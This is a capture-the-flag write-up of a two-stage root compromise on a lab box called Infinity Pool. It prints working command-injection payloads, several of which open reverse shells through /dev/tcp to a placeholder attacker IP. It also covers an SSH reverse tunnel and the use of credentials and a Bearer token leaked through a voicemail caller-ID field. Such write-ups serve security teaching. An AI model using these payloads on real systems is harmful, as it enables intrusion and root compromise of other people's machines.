M4cCrypt0
back to overview

Byte Lotus: Infinity Pool — Two Shells, One Voicemail

Two shells on one box: a public-facing command injection for the first foothold, then a root-owned automation API reachable only on loopback — bridged by a Bearer token someone left sitting in a FreePBX voicemail caller-ID field.

Summary

Infinity Pool (Byte Lotus Hotel series, Boot2Root, Web, 90 pts, Medium) is two command-injection bugs wearing a trench coat. The public "staff connectivity" tool on the edge web app gets you a foothold as a low-priv service user. From there, ss -tlnp reveals a wall of loopback-only internal services — a PBX stack, a MySQL instance, and a Flask "ops console" called Watchtower feeding a root-owned automation job-runner. Getting from foothold to root means pivoting into the loopback network with an SSH reverse tunnel, logging into a FreePBX user portal with leaked template credentials, and finding a Bearer token stashed somewhere nobody would think to grep: the Caller ID field of a voicemail message. That token unlocks a second, near-identical injection bug — this one running as root.

Recon

Standard full-port sweep first — no assumptions, even though the room tag says "Web":

bash
nmap -sC -sV -p- -T4 -oN scan.txt <target-ip>

Only two ports open: 22 (OpenSSH) and 80 (HTTP). Nothing exotic yet — the interesting stuff is all internal and shows up later.

Viewing the page source on / turned up a JS comment that most scanners would skim right past:

js
// Byte Lotus front-end bootstrap.
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.
console.log("Stay Noticed™");

robots.txt confirmed both /status and /internal/netcheck were disallowed — which in pentest terms means "indexed by nobody, found by everybody."

[ TIP ]

Read the comments

Devs leave TODOs in production JS more often than you'd think. robots.txt disallow entries are a map of what someone wanted hidden from search engines, not from you.

Vulnerability 1: edge app command injection

/status renders a small "sister-property connectivity" form — a staff tool to ping a remote host before routing a guest transfer:

html
<form method="post" action="/internal/netcheck" class="tool">
  <input type="text" name="host" value="<target-ip>" placeholder="property host e.g. 10.0.0.5">
  <button type="submit">Check</button>
</form>

The rendered output was a literal ping command result. That smell — user-controlled value, shell-looking output — usually means one thing. Confirmed with a benign chained command:

bash
curl -s -X POST http://<target-ip>/internal/netcheck -d "host=<attacker-ip>;id"

Response included uid=1001(web) gid=1001(web) groups=1001(web) right next to the ping output. Classic unsanitized subprocess.run(f"ping -c 1 {host}", shell=True) — confirmed later by reading the source at /var/www/infinity_pool/edge/app.py.

Exploit: foothold

Reverse shell via the same injection point, this time with the shell detached from the HTTP request lifecycle so it survives the request completing:

bash
# listener
nc -lvnp 4444

# payload — setsid + input redirect so the child isn't tied to the parent request
curl -s -X POST http://<target-ip>/internal/netcheck \
  --data-urlencode "host=<attacker-ip>;setsid bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1' < /dev/null &"
[WARN]

First attempt died

The first payload (host=<ip>;bash -c '...') ran fine but died the moment the underlying HTTP request finished — the child shell was still attached to the web worker's process tree. Wrapping it in setsid ... < /dev/null & detaches it properly. If your reverse shell keeps dropping right after landing, this is almost always why.

Stabilized the tty immediately:

bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

User flag was sitting in the web home directory. Standard privesc checks (sudo -l, find / -perm -4000, /etc/cron.d) all came back clean — every SUID binary was a stock Debian/snap one, the cron.d entries were vanilla PHP session cleanup, and sudo -l demanded a password we didn't have. All three were dead ends by design; the real path was sideways, not up.

Pivoting: what's actually running on this box

ss -tlnp from the foothold told a different story than two open ports suggested:

text
127.0.0.1:3000   -> gunicorn (Watchtower ops console)
127.0.0.1:5038   -> Asterisk Call Manager (AMI)
0.0.0.0:80       -> gunicorn (the edge app we already own)
127.0.0.1:9000   -> gunicorn (root-owned automation job runner)
127.0.0.1:3306   -> MySQL
127.0.0.1:8080   -> Apache / FreePBX UCP

curl http://127.0.0.1:3000/ returned a Watchtower "ops console" dashboard — loopback-only, "authenticated by network position" (i.e. no auth beyond being local), with a tile reading automation worker: root. curl .../api/config on the same app leaked a JSON blob with FreePBX UCP credentials and a note: "UCP still on default template creds (FreePBXUCPTemplateCreator) — ROTATE." Nobody rotated them.

The UCP portal (127.0.0.1:8080/ucp) is loopback-only too, so browsing it directly wasn't an option. SSH reverse tunnel from the target, back to a listening sshd on the attacker box:

bash
ssh -N -R 8080:127.0.0.1:8080 -o StrictHostKeyChecking=no <attacker-user>@<attacker-ip>
[WARN]

`/dev/tty` gotcha

First attempt failed with Permission denied (publickey,password) even though PasswordAuthentication yes and PermitRootLogin yes were both set correctly server-side. Verbose mode (ssh -vvv) showed the real error: read_passphrase: can't open /dev/tty: No such device or address. The reverse shell had no controlling terminal, so ssh couldn't prompt for a password and silently sent an empty one, every time. Fix: either sshpass (sidesteps /dev/tty entirely), or run the pty-upgrade sequence above so the shell has a real controlling terminal before invoking ssh interactively.

[WARN]

`Include` ordering in sshd_config

Also worth knowing: /etc/ssh/sshd_config has Include /etc/ssh/sshd_config.d/*.conf near the top of the file. OpenSSH keeps the first value seen for a given keyword — so a conflicting directive dropped into that include directory silently wins over anything set later in the main file. Always check both when a config change "isn't taking."

With the tunnel up, browsing http://127.0.0.1:8080/ucp from the attacker box logged straight in with the leaked FreePBXUCPTemplateCreator / <UCP_PASSWORD> credentials.

Credential discovery: the voicemail nobody deletes

UCP for this account was mostly empty — a "Loopback-Only Console" surveillance dashboard, an add-widget screen, nothing obviously useful. AMI on 5038 rejected both the UCP creds and the classic FreePBX default (admin/amp111) — a red herring, not the intended path. /etc/freepbx.conf and /etc/amportal.conf were readable-by-listing but owned asterisk:asterisk, permission denied. A recursive grep for bearer/token/api_key across the filesystem returned nothing but noise from unrelated library source (the word "token" shows up constantly in tokenizer code).

The actual secret was in the one place a grep across app source would never find it: a voicemail message. Adding the Voicemail widget to the UCP dashboard and opening the inbox showed one message, three seconds long, with its Caller ID field set to:

text
"Automation Key cc_auto_<redacted>" <9000>

Someone used the CID name field — meant for a caller's display name — to pass an API secret between two systems that don't share a filesystem. It's not technically a file leak, so none of the source-code or log-grepping technique would have caught it; it only showed up once the UCP UI was actually explored end to end instead of just curled.

[ TIP ]

Enumerate the UI, not just the API

curl-ing known endpoints is fast, but this box is a reminder that some data only exists inside rendered application state (a voicemail inbox, a dashboard widget) that a generic scanner or wordlist will never surface. Once you have working creds for a UI, actually click around it.

Vulnerability 2: automation job-runner command injection

journalctl for the automation service came back empty, and fuzzing its routes with common.txt found nothing — until fuzzing under an /internal/ prefix (matching the naming convention already seen on the edge app) turned up /internal/health (mirrored publicly as /health), which self-documented the API:

json
{
  "endpoints": {
    "GET /health": "service status",
    "POST /jobs/export": {
      "auth": "Authorization: Bearer <automation key>",
      "body": {"report": "<report name>"},
      "desc": "archive the latest data export"
    }
  },
  "runs_as": "root",
  "service": "automation",
  "status": "ok"
}

Straight from 127.0.0.1:9000 on the target itself (still loopback-only, no tunnel needed for command-line testing):

bash
curl -s -i -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_<redacted>" \
  -H "Content-Type: application/json" \
  -d '{"report":"test"}'

The response echoed the exact shell command it built server-side:

json
{"command":"tar czf /var/automation/exports/test.tgz /var/automation/data 2>&1", "output": "..."}

Same team, same mistake as the edge app: unsanitized string interpolation into a shell=True call, report dropped straight into the tar filename with no quoting. First injection attempt (test; id) half-worked — the ; correctly broke into a second command, but id glued directly onto the trailing .tgz became the invalid command id.tgz. Fixed with a shell comment to swallow the rest of the line:

bash
curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_<redacted>" \
  -H "Content-Type: application/json" \
  -d '{"report":"test; id #"}'
json
{"output": "uid=0(root) gid=0(root) groups=0(root)\ntar: Cowardly refusing to create an empty archive\n..."}

Root command execution, confirmed.

Exploit: root

Same detached-reverse-shell pattern as the foothold, this time through the report field:

bash
# listener
nc -lvnp 4445

curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_<redacted>" \
  -H "Content-Type: application/json" \
  -d '{"report":"test; setsid bash -c \"bash -i >& /dev/tcp/<attacker-ip>/4445 0>&1\" < /dev/null & #"}'

Listener catches a shell with uid=0(root). Root flag in /root/. Done.

text
THM{<redacted>}

Why this works

Both bugs are the same root cause wearing different clothes: building a shell command with an f-string (or equivalent) and handing it to subprocess.run(..., shell=True) without quoting or an argument list. Once you've seen the pattern once (the edge app's ping -c 1 {host}), it's worth actively checking whether the same dev team repeated it elsewhere — which is exactly how the /internal/ naming convention led to finding the automation app's hidden routes, and how the injection technique (; + trailing shell comment) transferred cleanly from the first bug to the second.

The privilege boundary that mattered wasn't a SUID binary or a cron job — it was network position. web couldn't read /var/automation or talk to AMI with real credentials, but it could reach 127.0.0.1:9000 directly, because "loopback-only" was treated as equivalent to "trusted," with no additional authentication layer beyond the Bearer token check — and that token had leaked sideways into a completely unrelated subsystem (telephony voicemail) that nobody thought to treat as sensitive.

Lessons